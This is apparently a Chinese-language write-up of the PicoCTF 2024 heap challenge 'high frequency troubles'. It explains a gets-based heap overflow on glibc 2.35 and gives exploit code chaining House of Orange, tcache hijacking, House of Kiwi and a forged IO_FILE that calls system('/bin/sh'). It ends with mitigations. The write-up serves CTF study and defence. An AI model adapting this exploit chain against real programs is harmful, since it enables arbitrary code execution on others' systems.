PicoCTF 2024 - high frequency troubles
字数 1685 2025-08-23 18:31:18
PicoCTF 2024 - high frequency troubles 漏洞利用深度分析
1. 题目概述
这是一个高难度的堆利用题目,主要特点包括:
- 运行在glibc 2.35环境下
- 没有显式的free操作
- 无法自由控制chunk分配
- 保护全开(Full RELRO, PIE, NX)
- 通过堆溢出和特殊技巧实现利用
2. 漏洞分析
2.1 程序功能
程序是一个简单的网络数据包处理程序,主要逻辑在无限循环中:
- 读取用户输入的size(8字节)
- 分配大小为
size的内存块 - 使用
gets函数读取数据到分配的内存中(存在堆溢出漏洞) - 根据数据第一个字节决定是否打印内容
2.2 关键数据结构
struct pkt_t {
size_t sz; // 数据包大小
char data[]; // 可变长度数据
};
2.3 漏洞点
- 堆溢出:使用不安全的
gets函数读取数据,可以覆盖相邻chunk - 无free操作:程序不会释放任何内存,限制了传统堆利用方式
3. 利用思路
3.1 总体流程
- 利用House of Orange技巧泄露堆地址
- 通过申请大内存修改tcache结构体指针
- 劫持tcache实现任意内存分配
- 泄露libc地址
- 使用House of Kiwi触发
__malloc_assert - 结合House of Obstack进行IO劫持
- 最终获取shell
3.2 关键技术点详解
3.2.1 House of Orange技巧泄露堆地址
步骤:
- 分配一个小chunk(如0x10)
- 溢出修改top chunk的size为一个小的页面对齐值(如0xd51)
- 分配一个大chunk(0xd48)触发top chunk释放
- 这会创建一个unsorted bin chunk
- 通过打印功能泄露堆地址
关键点:
- 修改top chunk size时需要满足对齐要求
- 后续分配的大小要足够大以触发sysmalloc
3.2.2 劫持tcache结构体
步骤:
- 申请非常大的内存(大于mp_.mmap_threshold)
- 这类内存会分配在libc附近
- 利用溢出修改tcache结构体指针
- 伪造tcache结构体控制后续分配
关键点:
- mmap分配的内存与libc的偏移固定
- 可以预测tcache结构体的位置
- 伪造的tcache结构体需要合理设置counts和entries
3.2.3 House of Kiwi触发assert
原理:
通过修改top chunk size使其不满足检查条件,触发__malloc_assert:
- top chunk size < MINSIZE (0x20)
- 或prev_inuse位未设置
- 或top chunk未页对齐
触发链:
__malloc_assert -> __assert_fail -> __assert_fail_base -> __fxprintf -> IO操作
3.2.4 House of Obstack进行IO劫持
利用条件:
- 控制IO_FILE结构体(通常是stderr)
- 伪造vtable指向可控区域
- 设置虚函数指针为system等目标函数
关键结构:
struct _IO_FILE {
// ... 标准字段
void *vtable; // 关键劫持点
};
4. 完整利用步骤
4.1 泄露堆地址
# 修改top chunk size
do(0x10, b'a'*0x10 + pack(0xd51))
# 触发top chunk释放
do(0xd48, b"b")
# 泄露堆地址
do(0x10, b"\x01\x00\x00\x00\x00\x00\x00")
heap_leak = unpack(recv_data())
heap_base = heap_leak - 0x2b0
4.2 劫持tcache结构体
# 伪造tcache结构体
fake_tcache = heap_base + 0x2f0
tcache_struct = flat({
0x00: p16(1)*2 + p16(0)*62,
0x80: pack(heap_base + 0x580) + p64(fake_tcache - 0x10) + pack(0)*62
})
# 修改tcache指针
do(0x2a8, pack(2) + tcache_struct)
do(0x22000, b"a"*(0x22000 + 0x16e0) + pack(fake_tcache))
4.3 泄露libc地址
# 通过伪造的tcache分配libc附近内存
do(0x10, b"\x01\x00\x00\x00\x00\x00\x00")
libc_leak = unpack(recv_data())
libc_base = libc_leak - 0x21a260
4.4 准备IO劫持
# 重新设置tcache以控制stderr
tcache_struct2 = flat({
0x00: p16(1)*3 + p16(0)*61,
0x80: pack(libc.sym.stderr - 0x10) + p64(heap_base) + pack(heap_base + 0x21d40) + pack(0)*61
})
do(0x28, cyclic(8) + tcache_struct2)
# 构造伪造的IO_FILE结构
fp = heap_base
io_payload = flat({
0x18: pack(1),
0x20: pack(0),
0x28: pack(1),
0x30: pack(0),
0x38: pack(libc.sym.system),
0x40: b"/bin/sh\x00",
0x48: pack(fp + 0x40),
0x50: pack(1),
0x88: pack(heap_base + 0x200),
0xd8: pack(libc.sym._IO_file_jumps - 0x240),
0xe0: pack(fp)
}, filler=b"\x00")
# 设置vtable
do(0x10, pack(libc.sym._IO_file_jumps) + pack(fp))
do(0x20, io_payload[0x8:])
4.5 触发利用
# 触发__malloc_assert
do(0x30, pack(0x10)*3)
do(0x1000, cyclic(0x1))
5. 防御与缓解
- 避免使用不安全函数:替换
gets为安全函数如fgets - 增加堆保护:启用更多堆保护机制
- 限制分配大小:对用户输入的size进行合理限制
- 加强IO结构保护:使用最新glibc版本缓解IO劫持
6. 总结
这个题目展示了在glibc 2.35环境下,即使没有显式free操作和全保护开启的情况下,如何通过组合多种堆利用技术实现代码执行。关键点在于:
- 利用House of Orange技巧在无free情况下创建free chunk
- 通过大内存分配修改tcache元数据
- 结合assert触发和IO流劫持完成利用
- 精心构造的伪造结构和精确的内存布局控制
这种利用方式展示了现代堆利用的复杂性和技巧性,对漏洞利用和防御研究都有重要参考价值。